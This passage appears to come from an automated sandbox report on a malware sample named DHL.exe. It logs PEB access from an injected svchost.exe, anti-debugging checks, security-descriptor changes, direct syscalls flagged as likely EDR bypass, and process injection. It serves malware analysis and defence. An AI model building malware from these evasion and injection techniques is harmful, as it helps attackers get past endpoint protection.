Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B6420 mov eax, dword ptr fs:[00000030h]	2_2_034B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B6420 mov eax, dword ptr fs:[00000030h]	2_2_034B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B6420 mov eax, dword ptr fs:[00000030h]	2_2_034B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B6420 mov eax, dword ptr fs:[00000030h]	2_2_034B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346A430 mov eax, dword ptr fs:[00000030h]	2_2_0346A430
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034304E5 mov ecx, dword ptr fs:[00000030h]	2_2_034304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034EA49A mov eax, dword ptr fs:[00000030h]	2_2_034EA49A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034364AB mov eax, dword ptr fs:[00000030h]	2_2_034364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034644B0 mov ecx, dword ptr fs:[00000030h]	2_2_034644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BA4B0 mov eax, dword ptr fs:[00000030h]	2_2_034BA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E4B4B mov eax, dword ptr fs:[00000030h]	2_2_034E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E4B4B mov eax, dword ptr fs:[00000030h]	2_2_034E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03502B57 mov eax, dword ptr fs:[00000030h]	2_2_03502B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03502B57 mov eax, dword ptr fs:[00000030h]	2_2_03502B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03502B57 mov eax, dword ptr fs:[00000030h]	2_2_03502B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03502B57 mov eax, dword ptr fs:[00000030h]	2_2_03502B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C6B40 mov eax, dword ptr fs:[00000030h]	2_2_034C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C6B40 mov eax, dword ptr fs:[00000030h]	2_2_034C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FAB40 mov eax, dword ptr fs:[00000030h]	2_2_034FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D8B42 mov eax, dword ptr fs:[00000030h]	2_2_034D8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03428B50 mov eax, dword ptr fs:[00000030h]	2_2_03428B50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DEB50 mov eax, dword ptr fs:[00000030h]	2_2_034DEB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342CB7E mov eax, dword ptr fs:[00000030h]	2_2_0342CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03504B00 mov eax, dword ptr fs:[00000030h]	2_2_03504B00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AEB1D mov eax, dword ptr fs:[00000030h]	2_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AEB1D mov eax, dword ptr fs:[00000030h]	2_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AEB1D mov eax, dword ptr fs:[00000030h]	2_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AEB1D mov eax, dword ptr fs:[00000030h]	2_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AEB1D mov eax, dword ptr fs:[00000030h]	2_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AEB1D mov eax, dword ptr fs:[00000030h]	2_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AEB1D mov eax, dword ptr fs:[00000030h]	2_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AEB1D mov eax, dword ptr fs:[00000030h]	2_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AEB1D mov eax, dword ptr fs:[00000030h]	2_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345EB20 mov eax, dword ptr fs:[00000030h]	2_2_0345EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345EB20 mov eax, dword ptr fs:[00000030h]	2_2_0345EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F8B28 mov eax, dword ptr fs:[00000030h]	2_2_034F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F8B28 mov eax, dword ptr fs:[00000030h]	2_2_034F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03450BCB mov eax, dword ptr fs:[00000030h]	2_2_03450BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03450BCB mov eax, dword ptr fs:[00000030h]	2_2_03450BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03450BCB mov eax, dword ptr fs:[00000030h]	2_2_03450BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03430BCD mov eax, dword ptr fs:[00000030h]	2_2_03430BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03430BCD mov eax, dword ptr fs:[00000030h]	2_2_03430BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03430BCD mov eax, dword ptr fs:[00000030h]	2_2_03430BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DEBD0 mov eax, dword ptr fs:[00000030h]	2_2_034DEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03438BF0 mov eax, dword ptr fs:[00000030h]	2_2_03438BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03438BF0 mov eax, dword ptr fs:[00000030h]	2_2_03438BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03438BF0 mov eax, dword ptr fs:[00000030h]	2_2_03438BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345EBFC mov eax, dword ptr fs:[00000030h]	2_2_0345EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BCBF0 mov eax, dword ptr fs:[00000030h]	2_2_034BCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440BBE mov eax, dword ptr fs:[00000030h]	2_2_03440BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440BBE mov eax, dword ptr fs:[00000030h]	2_2_03440BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E4BB0 mov eax, dword ptr fs:[00000030h]	2_2_034E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E4BB0 mov eax, dword ptr fs:[00000030h]	2_2_034E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03436A50 mov eax, dword ptr fs:[00000030h]	2_2_03436A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03436A50 mov eax, dword ptr fs:[00000030h]	2_2_03436A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03436A50 mov eax, dword ptr fs:[00000030h]	2_2_03436A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03436A50 mov eax, dword ptr fs:[00000030h]	2_2_03436A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03436A50 mov eax, dword ptr fs:[00000030h]	2_2_03436A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03436A50 mov eax, dword ptr fs:[00000030h]	2_2_03436A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03436A50 mov eax, dword ptr fs:[00000030h]	2_2_03436A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440A5B mov eax, dword ptr fs:[00000030h]	2_2_03440A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440A5B mov eax, dword ptr fs:[00000030h]	2_2_03440A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346CA6F mov eax, dword ptr fs:[00000030h]	2_2_0346CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346CA6F mov eax, dword ptr fs:[00000030h]	2_2_0346CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346CA6F mov eax, dword ptr fs:[00000030h]	2_2_0346CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DEA60 mov eax, dword ptr fs:[00000030h]	2_2_034DEA60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034ACA72 mov eax, dword ptr fs:[00000030h]	2_2_034ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034ACA72 mov eax, dword ptr fs:[00000030h]	2_2_034ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BCA11 mov eax, dword ptr fs:[00000030h]	2_2_034BCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346CA24 mov eax, dword ptr fs:[00000030h]	2_2_0346CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345EA2E mov eax, dword ptr fs:[00000030h]	2_2_0345EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03454A35 mov eax, dword ptr fs:[00000030h]	2_2_03454A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03454A35 mov eax, dword ptr fs:[00000030h]	2_2_03454A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346CA38 mov eax, dword ptr fs:[00000030h]	2_2_0346CA38
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03486ACC mov eax, dword ptr fs:[00000030h]	2_2_03486ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03486ACC mov eax, dword ptr fs:[00000030h]	2_2_03486ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03486ACC mov eax, dword ptr fs:[00000030h]	2_2_03486ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03430AD0 mov eax, dword ptr fs:[00000030h]	2_2_03430AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03464AD0 mov eax, dword ptr fs:[00000030h]	2_2_03464AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03464AD0 mov eax, dword ptr fs:[00000030h]	2_2_03464AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346AAEE mov eax, dword ptr fs:[00000030h]	2_2_0346AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346AAEE mov eax, dword ptr fs:[00000030h]	2_2_0346AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343EA80 mov eax, dword ptr fs:[00000030h]	2_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343EA80 mov eax, dword ptr fs:[00000030h]	2_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343EA80 mov eax, dword ptr fs:[00000030h]	2_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343EA80 mov eax, dword ptr fs:[00000030h]	2_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343EA80 mov eax, dword ptr fs:[00000030h]	2_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343EA80 mov eax, dword ptr fs:[00000030h]	2_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343EA80 mov eax, dword ptr fs:[00000030h]	2_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343EA80 mov eax, dword ptr fs:[00000030h]	2_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343EA80 mov eax, dword ptr fs:[00000030h]	2_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03504A80 mov eax, dword ptr fs:[00000030h]	2_2_03504A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03468A90 mov edx, dword ptr fs:[00000030h]	2_2_03468A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03438AA0 mov eax, dword ptr fs:[00000030h]	2_2_03438AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03438AA0 mov eax, dword ptr fs:[00000030h]	2_2_03438AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03486AA4 mov eax, dword ptr fs:[00000030h]	2_2_03486AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B0946 mov eax, dword ptr fs:[00000030h]	2_2_034B0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03504940 mov eax, dword ptr fs:[00000030h]	2_2_03504940
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03456962 mov eax, dword ptr fs:[00000030h]	2_2_03456962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03456962 mov eax, dword ptr fs:[00000030h]	2_2_03456962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03456962 mov eax, dword ptr fs:[00000030h]	2_2_03456962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0347096E mov eax, dword ptr fs:[00000030h]	2_2_0347096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0347096E mov edx, dword ptr fs:[00000030h]	2_2_0347096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0347096E mov eax, dword ptr fs:[00000030h]	2_2_0347096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D4978 mov eax, dword ptr fs:[00000030h]	2_2_034D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D4978 mov eax, dword ptr fs:[00000030h]	2_2_034D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BC97C mov eax, dword ptr fs:[00000030h]	2_2_034BC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE908 mov eax, dword ptr fs:[00000030h]	2_2_034AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE908 mov eax, dword ptr fs:[00000030h]	2_2_034AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BC912 mov eax, dword ptr fs:[00000030h]	2_2_034BC912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03428918 mov eax, dword ptr fs:[00000030h]	2_2_03428918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03428918 mov eax, dword ptr fs:[00000030h]	2_2_03428918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B892A mov eax, dword ptr fs:[00000030h]	2_2_034B892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C892B mov eax, dword ptr fs:[00000030h]	2_2_034C892B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C69C0 mov eax, dword ptr fs:[00000030h]	2_2_034C69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0343A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0343A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0343A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0343A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0343A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0343A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034649D0 mov eax, dword ptr fs:[00000030h]	2_2_034649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FA9D3 mov eax, dword ptr fs:[00000030h]	2_2_034FA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BE9E0 mov eax, dword ptr fs:[00000030h]	2_2_034BE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034629F9 mov eax, dword ptr fs:[00000030h]	2_2_034629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034629F9 mov eax, dword ptr fs:[00000030h]	2_2_034629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034309AD mov eax, dword ptr fs:[00000030h]	2_2_034309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034309AD mov eax, dword ptr fs:[00000030h]	2_2_034309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B89B3 mov esi, dword ptr fs:[00000030h]	2_2_034B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B89B3 mov eax, dword ptr fs:[00000030h]	2_2_034B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B89B3 mov eax, dword ptr fs:[00000030h]	2_2_034B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03442840 mov ecx, dword ptr fs:[00000030h]	2_2_03442840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03460854 mov eax, dword ptr fs:[00000030h]	2_2_03460854
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03434859 mov eax, dword ptr fs:[00000030h]	2_2_03434859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03434859 mov eax, dword ptr fs:[00000030h]	2_2_03434859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BE872 mov eax, dword ptr fs:[00000030h]	2_2_034BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BE872 mov eax, dword ptr fs:[00000030h]	2_2_034BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C6870 mov eax, dword ptr fs:[00000030h]	2_2_034C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C6870 mov eax, dword ptr fs:[00000030h]	2_2_034C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BC810 mov eax, dword ptr fs:[00000030h]	2_2_034BC810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03452835 mov eax, dword ptr fs:[00000030h]	2_2_03452835

Source: C:\Users\user\Desktop\DHL.exe

Code function: 0_2_00A00B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

0_2_00A00B62

Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_009D2622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_009D2622
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_009C083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_009C083F
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_009C09D5 SetUnhandledExceptionFilter,	0_2_009C09D5
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_009C0C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_009C0C21

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtUnmapViewOfSection: Direct from: 0x77462D3C	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtCreateMutant: Direct from: 0x774635CC	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtWriteVirtualMemory: Direct from: 0x77462E3C	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtMapViewOfSection: Direct from: 0x77462D1C	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtResumeThread: Direct from: 0x774636AC	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtProtectVirtualMemory: Direct from: 0x77462F9C	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtSetInformationProcess: Direct from: 0x77462C5C	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtSetInformationThread: Direct from: 0x774563F9	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtNotifyChangeKey: Direct from: 0x77463C2C	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtProtectVirtualMemory: Direct from: 0x77457B2E	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtAllocateVirtualMemory: Direct from: 0x77462BFC	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtQueryInformationProcess: Direct from: 0x77462C26	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtResumeThread: Direct from: 0x77462FBC	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtReadFile: Direct from: 0x77462ADC	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtQuerySystemInformation: Direct from: 0x77462DFC	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtDelayExecution: Direct from: 0x77462DDC	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtOpenKeyEx: Direct from: 0x77463C9C	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtClose: Direct from: 0x77462B6C
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtCreateUserProcess: Direct from: 0x7746371C	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtWriteVirtualMemory: Direct from: 0x7746490C	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtAllocateVirtualMemory: Direct from: 0x774648EC	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtQuerySystemInformation: Direct from: 0x774648CC	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtQueryVolumeInformationFile: Direct from: 0x77462F2C	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtReadVirtualMemory: Direct from: 0x77462E8C	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtCreateKey: Direct from: 0x77462C6C	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtSetInformationThread: Direct from: 0x77462B4C	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtQueryAttributesFile: Direct from: 0x77462E6C	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtDeviceIoControlFile: Direct from: 0x77462AEC	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtOpenSection: Direct from: 0x77462E0C	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtCreateFile: Direct from: 0x77462FEC	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtOpenFile: Direct from: 0x77462DCC	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtQueryInformationToken: Direct from: 0x77462CAC	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtTerminateThread: Direct from: 0x77462FCC	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtQueryValueKey: Direct from: 0x77462BEC	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	NtOpenKeyEx: Direct from: 0x77462B9C	Jump to behavior

Maps a DLL or memory area into another process

